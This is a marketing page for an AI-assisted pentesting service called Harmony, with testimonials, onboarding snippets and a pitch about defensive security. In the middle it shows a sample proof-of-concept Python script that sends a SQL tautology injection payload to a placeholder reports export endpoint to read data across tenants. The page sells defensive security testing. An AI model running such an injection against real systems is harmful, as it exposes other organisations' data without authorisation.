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Universal compatibility
Secure web apps, APIs, MCPs, or Chrome extensions in any programming language or framework.
Continuous pentesting powered by state-of-the-art AI & human cyber experts. So you can ship fast with confidence.
“Super happy with Harmony's pentest. Better, deeper and more thorough than others I've seen.”
“I can actually see Harmony testing the code. It gives me confidence. I wouldn't do pentests another way moving forward.”
Secure web apps, APIs, MCPs, or Chrome extensions in any programming language or framework.
We take the time to understand your business & threat models. Onboarding is as simple as providing code access.
Thanks for the quick call! Super clear and helpful context. All we need now is code access.
Access granted.
Confirming we now have everything we need on our end to kickoff :)
Includes static analysis & dynamic testing. Covers the MITRE Top 25, including authN/Z, injection, business logic, SSRF, and more.
Includes methodology, severity, business impact, reproducible POC, and more. Flexible reporting to fit your use case.
# POC Exploit:Cross-Tenant Data Exfiltration # Target: GET /api/reports/export # Vulnerability: Unsanitised orgId concatenated into raw SQL # — no parameterisation or escaping # Impact: Any authenticated user can read all reports # across every tenant (CVSS 9.8) # # The script demonstrates full cross-tenant access via # tautology injection, confirmed against staging. import requests BASE = "https://api.acme.com" TOKEN = "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQi..." r = requests.get( f"{BASE}/api/reports/export", params={"orgId": "' OR '1'='1"}, headers={"Authorization": f"Bearer {TOKEN}"}, ) rows = r.json()["reports"] orgs = {row["org_id"] for row in rows} print(f"[+] {len(rows)} reports from {len(orgs)} orgs")
All findings include remediation advice and are compatible with your coding agent of choice. Also get hands-on support from our cyber experts.
Regular audits protect you between pentests. Our agent continually improves as it learns about your business and we deploy the latest AI models.
🚨 New critical finding — SQL injection in /api/reports export (CVSS 9.8).
See the full report & POC here
Our agent goes beyond PR level code scans, surfacing major vulnerabilities and security recommendations at the app and system level.
We don't train on customer code. From data storage to AI agent security, we safeguard your data at every step.
Don't waste precious engineering time tuning prompts, custom rules, or babysitting agents. Leave it to our human experts.
We make sure you stay at the AI offsec frontier, so you can focus on your core business.
We've built software & security at Plaid, 0x, Kraken, and our own startups. We know how hard it is to prevent breaches while trying to build your unique core business.
AI has dramatically increased security risks — higher code velocity and speed of vulnerability discovery & exploitation mean security needs to move faster than ever before.
We wanted to make it easy for defenders to stay ahead. Defensive cyber tools that are seamless, high quality, and move at the pace of AI. That's why we built Harmony.
We've started with AI + human continuous pentesting because we believe this is the quickest and most effective way for software teams to protect their critical assets and users. But we're just getting started — expect us to be long-term partners that work incredibly hard to keep you at the AI & security frontier. So you can ship fast with confidence, without worrying about waking up to a catastrophic breach.
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